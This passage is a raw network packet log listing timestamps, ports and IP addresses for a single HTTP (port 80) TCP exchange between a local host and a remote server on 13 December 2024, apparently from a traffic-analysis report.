Dec 13, 2024 08:18:54.008964062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.008979082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.009018898 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.010195017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.010246992 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.010328054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.010786057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.010797024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.010833979 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.011369944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.011425018 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.011464119 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.058749914 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.142070055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.142209053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.142293930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.142466068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.142580986 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.142662048 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.143680096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.143884897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.143961906 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.144912958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.145011902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.145085096 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.146095991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.146318913 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.146392107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.147289991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.147396088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.147475958 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.148468018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.148582935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.148650885 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.149641037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.149789095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.149856091 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.150835037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.150947094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.151015043 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.152010918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.152126074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.152201891 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.153254032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.153366089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.153441906 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.154421091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.154496908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.154536963 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.155702114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.155798912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.155865908 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.156887054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.156980991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.157058001 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.158030987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.158255100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.158318996 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.159190893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.159296989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.159405947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.160358906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.160481930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.160552025 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.161556959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.161653996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.161729097 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.162754059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.162872076 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.162944078 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.163950920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.164047003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.164113045 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.165201902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.165286064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.165363073 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.166326046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.166389942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.166486025 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.167526007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.167656898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.167726040 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.168735981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.168850899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.168917894 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.169910908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.170027018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.170093060 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.171113014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.171228886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.171302080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.172328949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.172480106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.172552109 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.173512936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.173615932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.173686981 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.174752951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.174853086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.174922943 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.175905943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.176027060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.176098108 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.177105904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.177156925 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.177228928 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.178270102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.178473949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.178548098 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.179471016 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.179795980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.179868937 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.180692911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.180797100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.180867910 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.181855917 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.181972980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.182044029 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.183103085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.183213949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.183281898 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.184262037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.184385061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.184452057 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.185461998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.185611010 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.185682058 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.186644077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.186794043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.186878920 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.187896967 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.187952042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.188025951 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.189089060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.189131021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.189202070 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.190211058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.190304995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.190372944 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.191426039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.191617966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.191692114 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.192656040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.192723989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.192789078 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.193799973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.193897009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.193963051 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.195020914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.195199966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.195266962 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.196180105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.196229935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.196302891 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.197377920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.197508097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.197573900 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.198582888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.198677063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.198746920 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.199768066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.199886084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.199955940 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.200944901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.201078892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.201142073 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.284009933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.324400902 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:54.636095047 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:54.636715889 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.221474886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.221493006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.221625090 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.222079039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.222126007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.222204924 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.222839117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.222877979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.222923994 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.224064112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.224283934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.224376917 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.225285053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.225354910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.225403070 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.226449966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.226505995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.226556063 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.227716923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.227780104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.228641987 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.228840113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.228931904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.228970051 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.230027914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.230175972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.230227947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.231221914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.231328964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.231384993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.232433081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.232464075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.232579947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.233616114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.233756065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.233870983 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.234810114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.234886885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.234960079 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.235997915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.236059904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.236150980 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.237183094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.237242937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.237437963 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.238389015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.238491058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.238636971 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.239587069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.239650965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.239783049 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.240767956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.240860939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.240931034 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.241945982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.242044926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.242113113 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.243200064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.243335009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.243411064 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.244347095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.244532108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.244605064 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.245578051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.245636940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.245718956 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.246763945 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.246809006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.246885061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.247955084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.248039961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.248156071 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.249121904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.249213934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.249293089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.250339985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.250507116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.250592947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.251585007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.251626968 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.251832962 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.252722979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.252814054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.252882004 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.253890038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.253969908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.254040003 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.255105019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.255203962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.255295038 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.256347895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.256470919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.256671906 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.257545948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.257586956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.257668972 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.258686066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.258793116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.258900881 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.259903908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.259983063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.260077000 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.261096001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.261209965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.261326075 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.262301922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.262347937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.262531042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.263492107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.263595104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.263750076 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.264652967 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.264780998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.264925003 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.265871048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.265960932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.266025066 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.267072916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.267170906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.267235994 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.268265009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.268356085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.268474102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.269440889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.269556046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.269874096 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.270613909 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.270750046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.270826101 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.271816015 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.271899939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.271986008 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.273019075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.273116112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.273214102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.274252892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.274302006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.274408102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.275474072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.275563955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.275638103 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.276612997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.276711941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.276963949 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.277797937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.277834892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.277915955 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.278995991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.279095888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.279166937 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.280201912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.280281067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.280345917 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.281384945 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.281469107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.281548977 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.282577038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.282660007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.282742977 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.341378927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.386890888 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.461024046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.461122990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.461240053 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.461633921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.461648941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.461735964 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:55.462454081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.462563038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:55.462634087 CET	49726	80	192.168.2.11	185.81.68.147
